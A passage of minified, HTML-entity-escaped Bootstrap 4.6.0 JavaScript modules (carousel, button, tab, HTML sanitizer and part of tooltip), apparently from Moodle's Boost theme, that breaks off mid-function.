NAME=&quot;carousel&quot;,DATA_KEY=&quot;bs.carousel&quot;,EVENT_KEY=&quot;.&quot;.concat(DATA_KEY),JQUERY_NO_CONFLICT=_jquery.default.fn[NAME],Default={interval:5e3,keyboard:!0,slide:!1,pause:&quot;hover&quot;,wrap:!0,touch:!0},DefaultType={interval:&quot;(number|boolean)&quot;,keyboard:&quot;boolean&quot;,slide:&quot;(boolean|string)&quot;,pause:&quot;(string|boolean)&quot;,wrap:&quot;boolean&quot;,touch:&quot;boolean&quot;},EVENT_SLIDE=&quot;slide&quot;.concat(EVENT_KEY),EVENT_SLID=&quot;slid&quot;.concat(EVENT_KEY),EVENT_KEYDOWN=&quot;keydown&quot;.concat(EVENT_KEY),EVENT_MOUSEENTER=&quot;mouseenter&quot;.concat(EVENT_KEY),EVENT_MOUSELEAVE=&quot;mouseleave&quot;.concat(EVENT_KEY),EVENT_TOUCHSTART=&quot;touchstart&quot;.concat(EVENT_KEY),EVENT_TOUCHMOVE=&quot;touchmove&quot;.concat(EVENT_KEY),EVENT_TOUCHEND=&quot;touchend&quot;.concat(EVENT_KEY),EVENT_POINTERDOWN=&quot;pointerdown&quot;.concat(EVENT_KEY),EVENT_POINTERUP=&quot;pointerup&quot;.concat(EVENT_KEY),EVENT_DRAG_START=&quot;dragstart&quot;.concat(EVENT_KEY),EVENT_LOAD_DATA_API=&quot;load&quot;.concat(EVENT_KEY).concat(&quot;.data-api&quot;),EVENT_CLICK_DATA_API=&quot;click&quot;.concat(EVENT_KEY).concat(&quot;.data-api&quot;),PointerType={TOUCH:&quot;touch&quot;,PEN:&quot;pen&quot;};class Carousel{constructor(element,config){this._items=null,this._interval=null,this._activeElement=null,this._isPaused=!1,this._isSliding=!1,this.touchTimeout=null,this.touchStartX=0,this.touchDeltaX=0,this._config=this._getConfig(config),this._element=element,this._indicatorsElement=this._element.querySelector(&quot;.carousel-indicators&quot;),this._touchSupported=&quot;ontouchstart&quot;in document.documentElement||navigator.maxTouchPoints&gt;0,this._pointerEvent=Boolean(window.PointerEvent||window.MSPointerEvent),this._addEventListeners()}static get VERSION(){return&quot;4.6.0&quot;}static get Default(){return Default}next(){this._isSliding||this._slide(&quot;next&quot;)}nextWhenVisible(){const $element=(0,_jquery.default)(this._element);!document.hidden&amp;&amp;$element.is(&quot;:visible&quot;)&amp;&amp;&quot;hidden&quot;!==$element.css(&quot;visibility&quot;)&amp;&amp;this.next()}prev(){this._isSliding||this._slide(&quot;prev&quot;)}pause(event){event||(this._isPaused=!0),this._element.querySelector(&quot;.carousel-item-next, .carousel-item-prev&quot;)&amp;&amp;(_util.default.triggerTransitionEnd(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null}cycle(event){event||(this._isPaused=!1),this._interval&amp;&amp;(clearInterval(this._interval),this._interval=null),this._config.interval&amp;&amp;!this._isPaused&amp;&amp;(this._updateInterval(),this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))}to(index){this._activeElement=this._element.querySelector(&quot;.active.carousel-item&quot;);const activeIndex=this._getItemIndex(this._activeElement);if(index&gt;this._items.length-1||index&lt;0)return;if(this._isSliding)return void(0,_jquery.default)(this._element).one(EVENT_SLID,(()=&gt;this.to(index)));if(activeIndex===index)return this.pause(),void this.cycle();const direction=index&gt;activeIndex?&quot;next&quot;:&quot;prev&quot;;this._slide(direction,this._items[index])}dispose(){(0,_jquery.default)(this._element).off(EVENT_KEY),_jquery.default.removeData(this._element,DATA_KEY),this._items=null,this._config=null,this._element=null,this._interval=null,this._isPaused=null,this._isSliding=null,this._activeElement=null,this._indicatorsElement=null}_getConfig(config){return config={...Default,...config},_util.default.typeCheckConfig(NAME,config,DefaultType),config}_handleSwipe(){const absDeltax=Math.abs(this.touchDeltaX);if(absDeltax&lt;=40)return;const direction=absDeltax/this.touchDeltaX;this.touchDeltaX=0,direction&gt;0&amp;&amp;this.prev(),direction&lt;0&amp;&amp;this.next()}_addEventListeners(){this._config.keyboard&amp;&amp;(0,_jquery.default)(this._element).on(EVENT_KEYDOWN,(event=&gt;this._keydown(event))),&quot;hover&quot;===this._config.pause&amp;&amp;(0,_jquery.default)(this._element).on(EVENT_MOUSEENTER,(event=&gt;this.pause(event))).on(EVENT_MOUSELEAVE,(event=&gt;this.cycle(event))),this._config.touch&amp;&amp;this._addTouchEventListeners()}_addTouchEventListeners(){if(!this._touchSupported)return;const start=event=&gt;{this._pointerEvent&amp;&amp;PointerType[event.originalEvent.pointerType.toUpperCase()]?this.touchStartX=event.originalEvent.clientX:this._pointerEvent||(this.touchStartX=event.originalEvent.touches[0].clientX)},move=event=&gt;{event.originalEvent.touches&amp;&amp;event.originalEvent.touches.length&gt;1?this.touchDeltaX=0:this.touchDeltaX=event.originalEvent.touches[0].clientX-this.touchStartX},end=event=&gt;{this._pointerEvent&amp;&amp;PointerType[event.originalEvent.pointerType.toUpperCase()]&amp;&amp;(this.touchDeltaX=event.originalEvent.clientX-this.touchStartX),this._handleSwipe(),&quot;hover&quot;===this._config.pause&amp;&amp;(this.pause(),this.touchTimeout&amp;&amp;clearTimeout(this.touchTimeout),this.touchTimeout=setTimeout((event=&gt;this.cycle(event)),500+this._config.interval))};(0,_jquery.default)(this._element.querySelectorAll(&quot;.carousel-item img&quot;)).on(EVENT_DRAG_START,(e=&gt;e.preventDefault())),this._pointerEvent?((0,_jquery.default)(this._element).on(EVENT_POINTERDOWN,(event=&gt;start(event))),(0,_jquery.default)(this._element).on(EVENT_POINTERUP,(event=&gt;end(event))),this._element.classList.add(&quot;pointer-event&quot;)):((0,_jquery.default)(this._element).on(EVENT_TOUCHSTART,(event=&gt;start(event))),(0,_jquery.default)(this._element).on(EVENT_TOUCHMOVE,(event=&gt;move(event))),(0,_jquery.default)(this._element).on(EVENT_TOUCHEND,(event=&gt;end(event))))}_keydown(event){if(!/input|textarea/i.test(event.target.tagName))switch(event.which){case 37:event.preventDefault(),this.prev();break;case 39:event.preventDefault(),this.next()}}_getItemIndex(element){return this._items=element&amp;&amp;element.parentNode?[].slice.call(element.parentNode.querySelectorAll(&quot;.carousel-item&quot;)):[],this._items.indexOf(element)}_getItemByDirection(direction,activeElement){const isNextDirection=&quot;next&quot;===direction,isPrevDirection=&quot;prev&quot;===direction,activeIndex=this._getItemIndex(activeElement),lastItemIndex=this._items.length-1;if((isPrevDirection&amp;&amp;0===activeIndex||isNextDirection&amp;&amp;activeIndex===lastItemIndex)&amp;&amp;!this._config.wrap)return activeElement;const itemIndex=(activeIndex+(&quot;prev&quot;===direction?-1:1))%this._items.length;return-1===itemIndex?this._items[this._items.length-1]:this._items[itemIndex]}_triggerSlideEvent(relatedTarget,eventDirectionName){const targetIndex=this._getItemIndex(relatedTarget),fromIndex=this._getItemIndex(this._element.querySelector(&quot;.active.carousel-item&quot;)),slideEvent=_jquery.default.Event(EVENT_SLIDE,{relatedTarget:relatedTarget,direction:eventDirectionName,from:fromIndex,to:targetIndex});return(0,_jquery.default)(this._element).trigger(slideEvent),slideEvent}_setActiveIndicatorElement(element){if(this._indicatorsElement){const indicators=[].slice.call(this._indicatorsElement.querySelectorAll(&quot;.active&quot;));(0,_jquery.default)(indicators).removeClass(&quot;active&quot;);const nextIndicator=this._indicatorsElement.children[this._getItemIndex(element)];nextIndicator&amp;&amp;(0,_jquery.default)(nextIndicator).addClass(&quot;active&quot;)}}_updateInterval(){const element=this._activeElement||this._element.querySelector(&quot;.active.carousel-item&quot;);if(!element)return;const elementInterval=parseInt(element.getAttribute(&quot;data-interval&quot;),10);elementInterval?(this._config.defaultInterval=this._config.defaultInterval||this._config.interval,this._config.interval=elementInterval):this._config.interval=this._config.defaultInterval||this._config.interval}_slide(direction,element){const activeElement=this._element.querySelector(&quot;.active.carousel-item&quot;),activeElementIndex=this._getItemIndex(activeElement),nextElement=element||activeElement&amp;&amp;this._getItemByDirection(direction,activeElement),nextElementIndex=this._getItemIndex(nextElement),isCycling=Boolean(this._interval);let directionalClassName,orderClassName,eventDirectionName;if(&quot;next&quot;===direction?(directionalClassName=&quot;carousel-item-left&quot;,orderClassName=&quot;carousel-item-next&quot;,eventDirectionName=&quot;left&quot;):(directionalClassName=&quot;carousel-item-right&quot;,orderClassName=&quot;carousel-item-prev&quot;,eventDirectionName=&quot;right&quot;),nextElement&amp;&amp;(0,_jquery.default)(nextElement).hasClass(&quot;active&quot;))return void(this._isSliding=!1);if(this._triggerSlideEvent(nextElement,eventDirectionName).isDefaultPrevented())return;if(!activeElement||!nextElement)return;this._isSliding=!0,isCycling&amp;&amp;this.pause(),this._setActiveIndicatorElement(nextElement),this._activeElement=nextElement;const slidEvent=_jquery.default.Event(EVENT_SLID,{relatedTarget:nextElement,direction:eventDirectionName,from:activeElementIndex,to:nextElementIndex});if((0,_jquery.default)(this._element).hasClass(&quot;slide&quot;)){(0,_jquery.default)(nextElement).addClass(orderClassName),_util.default.reflow(nextElement),(0,_jquery.default)(activeElement).addClass(directionalClassName),(0,_jquery.default)(nextElement).addClass(directionalClassName);const transitionDuration=_util.default.getTransitionDurationFromElement(activeElement);(0,_jquery.default)(activeElement).one(_util.default.TRANSITION_END,(()=&gt;{(0,_jquery.default)(nextElement).removeClass(&quot;&quot;.concat(directionalClassName,&quot; &quot;).concat(orderClassName)).addClass(&quot;active&quot;),(0,_jquery.default)(activeElement).removeClass(&quot;&quot;.concat(&quot;active&quot;,&quot; &quot;).concat(orderClassName,&quot; &quot;).concat(directionalClassName)),this._isSliding=!1,setTimeout((()=&gt;(0,_jquery.default)(this._element).trigger(slidEvent)),0)})).emulateTransitionEnd(transitionDuration)}else(0,_jquery.default)(activeElement).removeClass(&quot;active&quot;),(0,_jquery.default)(nextElement).addClass(&quot;active&quot;),this._isSliding=!1,(0,_jquery.default)(this._element).trigger(slidEvent);isCycling&amp;&amp;this.cycle()}static _jQueryInterface(config){return this.each((function(){let data=(0,_jquery.default)(this).data(DATA_KEY),_config={...Default,...(0,_jquery.default)(this).data()};&quot;object&quot;==typeof config&amp;&amp;(_config={..._config,...config});const action=&quot;string&quot;==typeof config?config:_config.slide;if(data||(data=new Carousel(this,_config),(0,_jquery.default)(this).data(DATA_KEY,data)),&quot;number&quot;==typeof config)data.to(config);else if(&quot;string&quot;==typeof action){if(void 0===data[action])throw new TypeError(&#039;No method named &quot;&#039;.concat(action,&#039;&quot;&#039;));data[action]()}else _config.interval&amp;&amp;_config.ride&amp;&amp;(data.pause(),data.cycle())}))}static _dataApiClickHandler(event){const selector=_util.default.getSelectorFromElement(this);if(!selector)return;const target=(0,_jquery.default)(selector)[0];if(!target||!(0,_jquery.default)(target).hasClass(&quot;carousel&quot;))return;const config={...(0,_jquery.default)(target).data(),...(0,_jquery.default)(this).data()},slideIndex=this.getAttribute(&quot;data-slide-to&quot;);slideIndex&amp;&amp;(config.interval=!1),Carousel._jQueryInterface.call((0,_jquery.default)(target),config),slideIndex&amp;&amp;(0,_jquery.default)(target).data(DATA_KEY).to(slideIndex),event.preventDefault()}}(0,_jquery.default)(document).on(EVENT_CLICK_DATA_API,&quot;[data-slide], [data-slide-to]&quot;,Carousel._dataApiClickHandler),(0,_jquery.default)(window).on(EVENT_LOAD_DATA_API,(()=&gt;{const carousels=[].slice.call(document.querySelectorAll(&#039;[data-ride=&quot;carousel&quot;]&#039;));for(let i=0,len=carousels.length;i&lt;len;i++){const $carousel=(0,_jquery.default)(carousels[i]);Carousel._jQueryInterface.call($carousel,$carousel.data())}})),_jquery.default.fn[NAME]=Carousel._jQueryInterface,_jquery.default.fn[NAME].Constructor=Carousel,_jquery.default.fn[NAME].noConflict=()=&gt;(_jquery.default.fn[NAME]=JQUERY_NO_CONFLICT,Carousel._jQueryInterface);var _default=Carousel;return _exports.default=_default,_exports.default}));
define(&quot;theme_boost/bootstrap/button&quot;,[&quot;exports&quot;,&quot;jquery&quot;],(function(_exports,_jquery){var obj;Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_jquery=(obj=_jquery)&amp;&amp;obj.__esModule?obj:{default:obj};const NAME=&quot;button&quot;,EVENT_KEY=&quot;.&quot;.concat(&quot;bs.button&quot;),JQUERY_NO_CONFLICT=_jquery.default.fn[NAME],EVENT_CLICK_DATA_API=&quot;click&quot;.concat(EVENT_KEY).concat(&quot;.data-api&quot;),EVENT_FOCUS_BLUR_DATA_API=&quot;focus&quot;.concat(EVENT_KEY).concat(&quot;.data-api&quot;,&quot; &quot;)+&quot;blur&quot;.concat(EVENT_KEY).concat(&quot;.data-api&quot;),EVENT_LOAD_DATA_API=&quot;load&quot;.concat(EVENT_KEY).concat(&quot;.data-api&quot;);class Button{constructor(element){this._element=element,this.shouldAvoidTriggerChange=!1}static get VERSION(){return&quot;4.6.0&quot;}toggle(){let triggerChangeEvent=!0,addAriaPressed=!0;const rootElement=(0,_jquery.default)(this._element).closest(&#039;[data-toggle=&quot;buttons&quot;]&#039;)[0];if(rootElement){const input=this._element.querySelector(&#039;input:not([type=&quot;hidden&quot;])&#039;);if(input){if(&quot;radio&quot;===input.type)if(input.checked&amp;&amp;this._element.classList.contains(&quot;active&quot;))triggerChangeEvent=!1;else{const activeElement=rootElement.querySelector(&quot;.active&quot;);activeElement&amp;&amp;(0,_jquery.default)(activeElement).removeClass(&quot;active&quot;)}triggerChangeEvent&amp;&amp;(&quot;checkbox&quot;!==input.type&amp;&amp;&quot;radio&quot;!==input.type||(input.checked=!this._element.classList.contains(&quot;active&quot;)),this.shouldAvoidTriggerChange||(0,_jquery.default)(input).trigger(&quot;change&quot;)),input.focus(),addAriaPressed=!1}}this._element.hasAttribute(&quot;disabled&quot;)||this._element.classList.contains(&quot;disabled&quot;)||(addAriaPressed&amp;&amp;this._element.setAttribute(&quot;aria-pressed&quot;,!this._element.classList.contains(&quot;active&quot;)),triggerChangeEvent&amp;&amp;(0,_jquery.default)(this._element).toggleClass(&quot;active&quot;))}dispose(){_jquery.default.removeData(this._element,&quot;bs.button&quot;),this._element=null}static _jQueryInterface(config,avoidTriggerChange){return this.each((function(){const $element=(0,_jquery.default)(this);let data=$element.data(&quot;bs.button&quot;);data||(data=new Button(this),$element.data(&quot;bs.button&quot;,data)),data.shouldAvoidTriggerChange=avoidTriggerChange,&quot;toggle&quot;===config&amp;&amp;data[config]()}))}}(0,_jquery.default)(document).on(EVENT_CLICK_DATA_API,&#039;[data-toggle^=&quot;button&quot;]&#039;,(event=&gt;{let button=event.target;const initialButton=button;if((0,_jquery.default)(button).hasClass(&quot;btn&quot;)||(button=(0,_jquery.default)(button).closest(&quot;.btn&quot;)[0]),!button||button.hasAttribute(&quot;disabled&quot;)||button.classList.contains(&quot;disabled&quot;))event.preventDefault();else{const inputBtn=button.querySelector(&#039;input:not([type=&quot;hidden&quot;])&#039;);if(inputBtn&amp;&amp;(inputBtn.hasAttribute(&quot;disabled&quot;)||inputBtn.classList.contains(&quot;disabled&quot;)))return void event.preventDefault();&quot;INPUT&quot;!==initialButton.tagName&amp;&amp;&quot;LABEL&quot;===button.tagName||Button._jQueryInterface.call((0,_jquery.default)(button),&quot;toggle&quot;,&quot;INPUT&quot;===initialButton.tagName)}})).on(EVENT_FOCUS_BLUR_DATA_API,&#039;[data-toggle^=&quot;button&quot;]&#039;,(event=&gt;{const button=(0,_jquery.default)(event.target).closest(&quot;.btn&quot;)[0];(0,_jquery.default)(button).toggleClass(&quot;focus&quot;,/^focus(in)?$/.test(event.type))})),(0,_jquery.default)(window).on(EVENT_LOAD_DATA_API,(()=&gt;{let buttons=[].slice.call(document.querySelectorAll(&#039;[data-toggle=&quot;buttons&quot;] .btn&#039;));for(let i=0,len=buttons.length;i&lt;len;i++){const button=buttons[i],input=button.querySelector(&#039;input:not([type=&quot;hidden&quot;])&#039;);input.checked||input.hasAttribute(&quot;checked&quot;)?button.classList.add(&quot;active&quot;):button.classList.remove(&quot;active&quot;)}buttons=[].slice.call(document.querySelectorAll(&#039;[data-toggle=&quot;button&quot;]&#039;));for(let i=0,len=buttons.length;i&lt;len;i++){const button=buttons[i];&quot;true&quot;===button.getAttribute(&quot;aria-pressed&quot;)?button.classList.add(&quot;active&quot;):button.classList.remove(&quot;active&quot;)}})),_jquery.default.fn[NAME]=Button._jQueryInterface,_jquery.default.fn[NAME].Constructor=Button,_jquery.default.fn[NAME].noConflict=()=&gt;(_jquery.default.fn[NAME]=JQUERY_NO_CONFLICT,Button._jQueryInterface);var _default=Button;return _exports.default=_default,_exports.default}));
define(&quot;theme_boost/bootstrap/tab&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;./util&quot;],(function(_exports,_jquery,_util){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_jquery=_interopRequireDefault(_jquery),_util=_interopRequireDefault(_util);const EVENT_KEY=&quot;.&quot;.concat(&quot;bs.tab&quot;),JQUERY_NO_CONFLICT=_jquery.default.fn.tab,EVENT_HIDE=&quot;hide&quot;.concat(EVENT_KEY),EVENT_HIDDEN=&quot;hidden&quot;.concat(EVENT_KEY),EVENT_SHOW=&quot;show&quot;.concat(EVENT_KEY),EVENT_SHOWN=&quot;shown&quot;.concat(EVENT_KEY),EVENT_CLICK_DATA_API=&quot;click&quot;.concat(EVENT_KEY).concat(&quot;.data-api&quot;);class Tab{constructor(element){this._element=element}static get VERSION(){return&quot;4.6.0&quot;}show(){if(this._element.parentNode&amp;&amp;this._element.parentNode.nodeType===Node.ELEMENT_NODE&amp;&amp;(0,_jquery.default)(this._element).hasClass(&quot;active&quot;)||(0,_jquery.default)(this._element).hasClass(&quot;disabled&quot;))return;let target,previous;const listElement=(0,_jquery.default)(this._element).closest(&quot;.nav, .list-group&quot;)[0],selector=_util.default.getSelectorFromElement(this._element);if(listElement){const itemSelector=&quot;UL&quot;===listElement.nodeName||&quot;OL&quot;===listElement.nodeName?&quot;&gt; li &gt; .active&quot;:&quot;.active&quot;;previous=_jquery.default.makeArray((0,_jquery.default)(listElement).find(itemSelector)),previous=previous[previous.length-1]}const hideEvent=_jquery.default.Event(EVENT_HIDE,{relatedTarget:this._element}),showEvent=_jquery.default.Event(EVENT_SHOW,{relatedTarget:previous});if(previous&amp;&amp;(0,_jquery.default)(previous).trigger(hideEvent),(0,_jquery.default)(this._element).trigger(showEvent),showEvent.isDefaultPrevented()||hideEvent.isDefaultPrevented())return;selector&amp;&amp;(target=document.querySelector(selector)),this._activate(this._element,listElement);const complete=()=&gt;{const hiddenEvent=_jquery.default.Event(EVENT_HIDDEN,{relatedTarget:this._element}),shownEvent=_jquery.default.Event(EVENT_SHOWN,{relatedTarget:previous});(0,_jquery.default)(previous).trigger(hiddenEvent),(0,_jquery.default)(this._element).trigger(shownEvent)};target?this._activate(target,target.parentNode,complete):complete()}dispose(){_jquery.default.removeData(this._element,&quot;bs.tab&quot;),this._element=null}_activate(element,container,callback){const active=(!container||&quot;UL&quot;!==container.nodeName&amp;&amp;&quot;OL&quot;!==container.nodeName?(0,_jquery.default)(container).children(&quot;.active&quot;):(0,_jquery.default)(container).find(&quot;&gt; li &gt; .active&quot;))[0],isTransitioning=callback&amp;&amp;active&amp;&amp;(0,_jquery.default)(active).hasClass(&quot;fade&quot;),complete=()=&gt;this._transitionComplete(element,active,callback);if(active&amp;&amp;isTransitioning){const transitionDuration=_util.default.getTransitionDurationFromElement(active);(0,_jquery.default)(active).removeClass(&quot;show&quot;).one(_util.default.TRANSITION_END,complete).emulateTransitionEnd(transitionDuration)}else complete()}_transitionComplete(element,active,callback){if(active){(0,_jquery.default)(active).removeClass(&quot;active&quot;);const dropdownChild=(0,_jquery.default)(active.parentNode).find(&quot;&gt; .dropdown-menu .active&quot;)[0];dropdownChild&amp;&amp;(0,_jquery.default)(dropdownChild).removeClass(&quot;active&quot;),&quot;tab&quot;===active.getAttribute(&quot;role&quot;)&amp;&amp;active.setAttribute(&quot;aria-selected&quot;,!1)}if((0,_jquery.default)(element).addClass(&quot;active&quot;),&quot;tab&quot;===element.getAttribute(&quot;role&quot;)&amp;&amp;element.setAttribute(&quot;aria-selected&quot;,!0),_util.default.reflow(element),element.classList.contains(&quot;fade&quot;)&amp;&amp;element.classList.add(&quot;show&quot;),element.parentNode&amp;&amp;(0,_jquery.default)(element.parentNode).hasClass(&quot;dropdown-menu&quot;)){const dropdownElement=(0,_jquery.default)(element).closest(&quot;.dropdown&quot;)[0];if(dropdownElement){const dropdownToggleList=[].slice.call(dropdownElement.querySelectorAll(&quot;.dropdown-toggle&quot;));(0,_jquery.default)(dropdownToggleList).addClass(&quot;active&quot;)}element.setAttribute(&quot;aria-expanded&quot;,!0)}callback&amp;&amp;callback()}static _jQueryInterface(config){return this.each((function(){const $this=(0,_jquery.default)(this);let data=$this.data(&quot;bs.tab&quot;);if(data||(data=new Tab(this),$this.data(&quot;bs.tab&quot;,data)),&quot;string&quot;==typeof config){if(void 0===data[config])throw new TypeError(&#039;No method named &quot;&#039;.concat(config,&#039;&quot;&#039;));data[config]()}}))}}(0,_jquery.default)(document).on(EVENT_CLICK_DATA_API,&#039;[data-toggle=&quot;tab&quot;], [data-toggle=&quot;pill&quot;], [data-toggle=&quot;list&quot;]&#039;,(function(event){event.preventDefault(),Tab._jQueryInterface.call((0,_jquery.default)(this),&quot;show&quot;)})),_jquery.default.fn.tab=Tab._jQueryInterface,_jquery.default.fn.tab.Constructor=Tab,_jquery.default.fn.tab.noConflict=()=&gt;(_jquery.default.fn.tab=JQUERY_NO_CONFLICT,Tab._jQueryInterface);var _default=Tab;return _exports.default=_default,_exports.default}));
define(&quot;theme_boost/bootstrap/tools/sanitizer&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.DefaultWhitelist=void 0,_exports.sanitizeHtml=function(unsafeHtml,whiteList,sanitizeFn){if(0===unsafeHtml.length)return unsafeHtml;if(sanitizeFn&amp;&amp;&quot;function&quot;==typeof sanitizeFn)return sanitizeFn(unsafeHtml);const createdDocument=(new window.DOMParser).parseFromString(unsafeHtml,&quot;text/html&quot;),whitelistKeys=Object.keys(whiteList),elements=[].slice.call(createdDocument.body.querySelectorAll(&quot;*&quot;));for(let i=0,len=elements.length;i&lt;len;i++){const el=elements[i],elName=el.nodeName.toLowerCase();if(-1===whitelistKeys.indexOf(el.nodeName.toLowerCase())){el.parentNode.removeChild(el);continue}const attributeList=[].slice.call(el.attributes),whitelistedAttributes=[].concat(whiteList[&quot;*&quot;]||[],whiteList[elName]||[]);attributeList.forEach((attr=&gt;{allowedAttribute(attr,whitelistedAttributes)||el.removeAttribute(attr.nodeName)}))}return createdDocument.body.innerHTML};const uriAttrs=[&quot;background&quot;,&quot;cite&quot;,&quot;href&quot;,&quot;itemtype&quot;,&quot;longdesc&quot;,&quot;poster&quot;,&quot;src&quot;,&quot;xlink:href&quot;],DefaultWhitelist={&quot;*&quot;:[&quot;class&quot;,&quot;dir&quot;,&quot;id&quot;,&quot;lang&quot;,&quot;role&quot;,/^aria-[\w-]*$/i],a:[&quot;target&quot;,&quot;href&quot;,&quot;title&quot;,&quot;rel&quot;],area:[],b:[],br:[],col:[],code:[],div:[],em:[],hr:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],i:[],img:[&quot;src&quot;,&quot;srcset&quot;,&quot;alt&quot;,&quot;title&quot;,&quot;width&quot;,&quot;height&quot;],li:[],ol:[],p:[],pre:[],s:[],small:[],span:[],sub:[],sup:[],strong:[],u:[],ul:[]};_exports.DefaultWhitelist=DefaultWhitelist;const SAFE_URL_PATTERN=/^(?:(?:https?|mailto|ftp|tel|file):|[^#&amp;/:?]*(?:[#/?]|$))/gi,DATA_URL_PATTERN=/^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[\d+/a-z]+=*$/i;function allowedAttribute(attr,allowedAttributeList){const attrName=attr.nodeName.toLowerCase();if(-1!==allowedAttributeList.indexOf(attrName))return-1===uriAttrs.indexOf(attrName)||Boolean(attr.nodeValue.match(SAFE_URL_PATTERN)||attr.nodeValue.match(DATA_URL_PATTERN));const regExp=allowedAttributeList.filter((attrRegex=&gt;attrRegex instanceof RegExp));for(let i=0,len=regExp.length;i&lt;len;i++)if(attrName.match(regExp[i]))return!0;return!1}}));
define(&quot;theme_boost/bootstrap/tooltip&quot;,[&quot;exports&quot;,&quot;./tools/sanitizer&quot;,&quot;jquery&quot;,&quot;core/popper&quot;,&quot;./util&quot;],(function(_exports,_sanitizer,_jquery,_popper,_util){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_jquery=_interopRequireDefault(_jquery),_popper=_interopRequireDefault(_popper),_util=_interopRequireDefault(_util);const NAME=&quot;tooltip&quot;,EVENT_KEY=&quot;.&quot;.concat(&quot;bs.tooltip&quot;),JQUERY_NO_CONFLICT=_jquery.default.fn[NAME],BSCLS_PREFIX_REGEX=new RegExp(&quot;(^|\\s)&quot;.concat(&quot;bs-tooltip&quot;,&quot;\\S+&quot;),&quot;g&quot;),DISALLOWED_ATTRIBUTES=[&quot;sanitize&quot;,&quot;whiteList&quot;,&quot;sanitizeFn&quot;],DefaultType={animation:&quot;boolean&quot;,template:&quot;string&quot;,title:&quot;(string|element|function)&quot;,trigger:&quot;string&quot;,delay:&quot;(number|object)&quot;,html:&quot;boolean&quot;,selector:&quot;(string|boolean)&quot;,placement:&quot;(string|function)&quot;,offset:&quot;(number|string|function)&quot;,container:&quot;(string|element|boolean)&quot;,fallbackPlacement:&quot;(string|array)&quot;,boundary:&quot;(string|element)&quot;,customClass:&quot;(string|function)&quot;,sanitize:&quot;boolean&quot;,sanitizeFn:&quot;(null|function)&quot;,whiteList:&quot;object&quot;,popperConfig:&quot;(null|object)&quot;},AttachmentMap={AUTO:&quot;auto&quot;,TOP:&quot;top&quot;,RIGHT:&quot;right&quot;,BOTTOM:&quot;bottom&quot;,LEFT:&quot;left&quot;},Default={animation:!0,template:&#039;&lt;div class=&quot;tooltip&quot; role=&quot;tooltip&quot;&gt;&lt;div class=&quot;arrow&quot;&gt;&lt;/div&gt;&lt;div class=&quot;tooltip-inner&quot;&gt;&lt;/div&gt;&lt;/div&gt;&#039;,trigger:&quot;hover focus&quot;,title:&quot;&quot;,delay:0,html:!1,selector:!1,placement:&quot;top&quot;,offset:0,container:!1,fallbackPlacement:&quot;flip&quot;,boundary:&quot;scrollParent&quot;,customClass:&quot;&quot;,sanitize:!0,sanitizeFn:null,whiteList:_sanitizer.DefaultWhitelist,popperConfig:null},Event={HIDE:&quot;hide&quot;.concat(EVENT_KEY),HIDDEN:&quot;hidden&quot;.concat(EVENT_KEY),SHOW:&quot;show&quot;.concat(EVENT_KEY),SHOWN:&quot;shown&quot;.concat(EVENT_KEY),INSERTED:&quot;inserted&quot;.concat(EVENT_KEY),CLICK:&quot;click&quot;.concat(EVENT_KEY),FOCUSIN:&quot;focusin&quot;.concat(EVENT_KEY),FOCUSOUT:&quot;focusout&quot;.concat(EVENT_KEY),MOUSEENTER:&quot;mouseenter&quot;.concat(EVENT_KEY),MOUSELEAVE:&quot;mouseleave&quot;.concat(EVENT_KEY)};class Tooltip{constructor(element,config){if(void 0===_popper.default)throw new TypeError(&quot;Bootstrap&#039;s tooltips require Popper (https://popper.js.org)&quot;);this._isEnabled=!0,this._timeout=0,this._hoverState=&quot;&quot;,this._activeTrigger={},this._popper=null,this.element=element,this.config=this._getConfig(config),this.tip=null,this._setListeners()}static get VERSION(){return&quot;4.6.0&quot;}static get Default(){return Default}static get NAME(){return NAME}static get DATA_KEY(){return&quot;bs.tooltip&quot;}static get Event(){return Event}static get EVENT_KEY(){return EVENT_KEY}static get DefaultType(){return DefaultType}enable(){this._isEnabled=!0}disable(){this._isEnabled=!1}toggleEnabled(){this._isEnabled=!this._isEnabled}toggle(event){if(this._isEnabled)if(event){const dataKey=this.constructor.DATA_KEY;let context=(0,_jquery.default)(event.currentTarget).data(dataKey);context||(context=new this.constructor(event.currentTarget,this._getDelegateConfig()),(0,_jquery.default)(event.currentTarget).data(dataKey,context)),context._activeTrigger.click=!context._activeTrigger.click,context._isWithActiveTrigger()?context._enter(null,context):context._leave(null,context)}else{if((0,_jquery.default)(this.getTipElement()).hasClass(&quot;show&quot;))return void this._leave(null,this);this._enter(null,this)}}dispose(){clearTimeout(this._timeout),_jquery.default.removeData(this.element,this.constructor.DATA_KEY),(0,_jquery.default)(this.element).off(this.constructor.EVENT_KEY),(0,_jquery.default)(this.element).closest(&quot;.modal&quot;).off(&quot;hide.bs.modal&quot;,this._hideModalHandler),this.tip&amp;&amp;(0,_jquery.default)(this.tip).remove(),this._isEnabled=null,this._timeout=null,this._hoverState=null,this._activeTrigger=null,this._popper&amp;&amp;this._popper.destroy(),this._popper=null,this.element=null,this.config=null,this.tip=null}show(){if(&quot;none&quot;===(0,_jquery.default)(this.element).css(&quot;display&quot;))throw new Error(&quot;Please use show on visible elements&quot;);const showEvent=_jquery.default.Event(this.constructor.Event.SHOW);if(this.isWithContent()&amp;&amp;this._isEnabled){(0,_jquery.default)(this.element).trigger(showEvent);const shadowRoot=_util.default.findShadowRoot(this.element),isInTheDom=_jquery.default.contains(null!==shadowRoot?shadowRoot:this.element.ownerDocument.documentElement,this.element);if(showEvent.isDefaultPrevented()||!isInTheDom)return;const 